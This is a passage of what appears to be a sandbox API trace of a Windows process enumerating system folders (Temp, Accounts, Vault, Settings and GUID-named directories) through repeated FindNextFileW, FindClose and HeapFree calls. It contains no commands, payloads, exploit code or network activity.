lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0195.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.732] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0195.732] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.733] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{c5dc3753-b6c8-4057-b396-bf13d769311c}", cAlternateFileName="{C5DC3~1")) returned 1 [0195.734] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0195.734] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0195.734] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.734] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0195.734] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.735] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.736] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{c8a326e4-f518-4f14-b543-97a57e1a975e}", cAlternateFileName="{C8A32~1")) returned 1 [0196.205] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0196.205] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bf13, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0196.205] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0196.205] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0196.205] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0196.205] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.206] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{ee4aac98-c174-4941-82b1-d121e493e4fb}", cAlternateFileName="{EE4AA~1")) returned 1 [0196.209] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0196.209] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f3fdc3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0196.209] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0196.209] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0196.209] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0196.209] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.211] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", cAlternateFileName="{F1189~1")) returned 1 [0196.213] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0196.213] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0196.214] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0196.214] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0196.214] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0196.214] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.215] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 1 [0196.221] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0196.221] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55ce72cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0196.221] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0196.221] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0196.221] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0196.221] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.223] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 0 [0196.223] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0196.223] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.223] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0196.248] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0196.248] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfd58d8c3, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfd58d8c3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows", cAlternateFileName="")) returned 0 [0196.248] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0196.248] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0196.248] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2b7d74b9, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0196.427] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0196.451] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2b7d74b9, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0196.461] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0196.461] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.461] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Data", cAlternateFileName="")) returned 0 [0196.461] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0196.461] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.461] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings", cAlternateFileName="")) returned 1 [0196.462] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.462] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Accounts", cAlternateFileName="")) returned 0 [0196.462] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0196.462] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.462] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsRouter", cAlternateFileName="SMSROU~1")) returned 1 [0196.463] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.463] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spectrum", cAlternateFileName="")) returned 1 [0196.463] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.463] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech_OneCore", cAlternateFileName="SPEECH~1")) returned 1 [0196.463] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.463] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb4dcad0, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Storage Health", cAlternateFileName="STORAG~1")) returned 1 [0196.464] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.464] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEV", cAlternateFileName="")) returned 1 [0196.467] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.468] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Scripts", cAlternateFileName="")) returned 1 [0196.468] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.468] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0196.468] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.468] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0196.468] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0196.469] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.469] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbaae4059, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbaae4059, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0196.469] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.469] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0196.469] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.469] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AC658CB4-9126-49BD-B877-31EEDAB3F204", cAlternateFileName="AC658C~1")) returned 0 [0196.470] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0196.470] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.470] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDF", cAlternateFileName="")) returned 1 [0196.470] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.470] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xedcf5f61, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xedcf5f61, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", 